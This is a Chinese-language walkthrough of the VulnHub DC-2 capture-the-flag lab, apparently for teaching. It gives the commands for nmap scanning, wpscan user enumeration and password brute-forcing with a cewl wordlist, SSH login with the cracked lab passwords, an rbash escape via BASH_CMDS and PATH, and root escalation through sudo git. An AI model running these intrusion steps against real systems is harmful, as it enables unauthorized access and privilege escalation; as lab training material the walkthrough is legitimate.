VnlnHub DC-2
字数 1125 2025-08-12 11:34:27

DC-2 靶场渗透测试详细教学文档

靶场环境搭建

  1. 下载靶场镜像

    • 下载地址:https://www.vulnhub.com/entry/dc-2,311/
    • 下载.OVA格式文件
  2. 导入虚拟机

    • 使用VMware直接导入.OVA文件
    • 指定解压位置
  3. 网络配置

    • 网卡模式选择NAT
    • 确保与攻击机Kali的网络设置一致

信息收集阶段

  1. 发现目标IP

    nmap -sP -T4 192.168.48.0/24
    
    • 扫描结果:192.168.48.137为靶机IP
  2. 端口扫描

    nmap -sS -sV -Pn 192.168.48.137
    
    • 初始扫描仅发现80端口开放
    • 重要补充:全端口扫描发现7744端口运行SSH服务
      nmap -p- 192.168.48.137
      
  3. Web访问准备

    • 编辑Kali的hosts文件:
      vi /etc/hosts
      
      添加:192.168.48.137 dc-2

Web渗透阶段

  1. 获取Flag1

    • 访问http://dc-2/获取第一个flag
    • Flag1提示:
      • 需要使用cewl生成密码字典
      • 普通字典无效
      • 需要通过登录获取下一个flag
  2. 目录扫描

    • 发现WordPress后台
  3. 用户枚举

    wpscan --url http://dc-2/ -e u
    
    • 发现三个用户:admin、jerry、tom
  4. 密码字典生成

    cewl http://dc-2/ -w dc2pass.txt
    
  5. 爆破WordPress登录

    wpscan --url http://dc-2/ -U dc2user.txt -P dc2pass.txt
    
    • 成功爆破出密码:
      • jerry: adipiscing
      • tom: parturient
  6. 获取Flag2

    • 使用jerry登录WordPress后台
    • 在Pages中找到Flag2
    • Flag2提示:
      • 如果不能利用WordPress,还有另外的方式

SSH服务利用

  1. SSH登录

    ssh tom@192.168.48.137 -p 7744
    
    • 密码:parturient
  2. 受限Shell(rbash)环境

    • 发现常用命令被限制
    • 可用命令:less、ls、scp、vi
  3. 查看Flag3

    vi flag3.txt
    
    • Flag3内容:
      贫穷的老tom总是走在jerry后面,也许他应该su缓解他的压力
      
    • 提示需要切换到jerry用户
  4. 绕过rbash限制

    BASH_CMDS[a]=/bin/sh;a
    export PATH=$PATH:/bin/
    export PATH=$PATH:/usr/bin
    
  5. 切换用户

    su jerry
    
    • 密码:adipiscing
  6. 获取Flag4

    cd /home/jerry
    cat flag4.txt
    
    • Flag4内容:
      很高兴你已经到达这,但是你还没有到家,你需要找到最后的flag,这你没有给你的提示
      

权限提升阶段

  1. 检查sudo权限

    sudo -l
    
    • 发现git命令可以无密码以root权限执行
  2. 利用git提权

    sudo git -p help config
    !/bin/bash
    
    • 成功获取root shell
  3. 获取最终Flag

    cd /root
    cat final-flag.txt
    

关键知识点总结

  1. 信息收集

    • 必须进行全端口扫描(-p-)
    • 注意修改hosts文件解决DNS解析问题
  2. 密码爆破

    • cewl工具生成针对性字典
    • wpscan进行WordPress用户枚举和爆破
  3. 受限Shell绕过

    • 通过环境变量和BASH_CMDS绕过rbash限制
    • 恢复PATH环境变量
  4. 权限提升

    • 检查sudo -l寻找可利用的特权命令
    • git的help命令可执行shell命令
  5. 工具使用

    • nmap:网络扫描
    • wpscan:WordPress漏洞扫描
    • cewl:生成定制密码字典
    • ssh:远程登录

完整命令参考

# 网络扫描
nmap -sP -T4 192.168.48.0/24
nmap -p- 192.168.48.137

# WordPress扫描
wpscan --url http://dc-2/ -e u
wpscan --url http://dc-2/ -U dc2user.txt -P dc2pass.txt

# 密码字典生成
cewl http://dc-2/ -w dc2pass.txt

# SSH登录
ssh tom@192.168.48.137 -p 7744

# 提权
sudo git -p help config
!/bin/bash

通过以上步骤,可以完整地完成DC-2靶场的渗透测试,获取所有flag。

DC-2 靶场渗透测试详细教学文档 靶场环境搭建 下载靶场镜像 : 下载地址:https://www.vulnhub.com/entry/dc-2,311/ 下载.OVA格式文件 导入虚拟机 : 使用VMware直接导入.OVA文件 指定解压位置 网络配置 : 网卡模式选择NAT 确保与攻击机Kali的网络设置一致 信息收集阶段 发现目标IP : 扫描结果:192.168.48.137为靶机IP 端口扫描 : 初始扫描仅发现80端口开放 重要补充 :全端口扫描发现7744端口运行SSH服务 Web访问准备 : 编辑Kali的hosts文件: 添加: 192.168.48.137 dc-2 Web渗透阶段 获取Flag1 : 访问http://dc-2/获取第一个flag Flag1提示: 需要使用cewl生成密码字典 普通字典无效 需要通过登录获取下一个flag 目录扫描 : 发现WordPress后台 用户枚举 : 发现三个用户:admin、jerry、tom 密码字典生成 : 爆破WordPress登录 : 成功爆破出密码: jerry: adipiscing tom: parturient 获取Flag2 : 使用jerry登录WordPress后台 在Pages中找到Flag2 Flag2提示: 如果不能利用WordPress,还有另外的方式 SSH服务利用 SSH登录 : 密码:parturient 受限Shell(rbash)环境 : 发现常用命令被限制 可用命令:less、ls、scp、vi 查看Flag3 : Flag3内容: 提示需要切换到jerry用户 绕过rbash限制 : 切换用户 : 密码:adipiscing 获取Flag4 : Flag4内容: 权限提升阶段 检查sudo权限 : 发现git命令可以无密码以root权限执行 利用git提权 : 成功获取root shell 获取最终Flag : 关键知识点总结 信息收集 : 必须进行全端口扫描(-p-) 注意修改hosts文件解决DNS解析问题 密码爆破 : cewl工具生成针对性字典 wpscan进行WordPress用户枚举和爆破 受限Shell绕过 : 通过环境变量和BASH_ CMDS绕过rbash限制 恢复PATH环境变量 权限提升 : 检查sudo -l寻找可利用的特权命令 git的help命令可执行shell命令 工具使用 : nmap:网络扫描 wpscan:WordPress漏洞扫描 cewl:生成定制密码字典 ssh:远程登录 完整命令参考 通过以上步骤,可以完整地完成DC-2靶场的渗透测试,获取所有flag。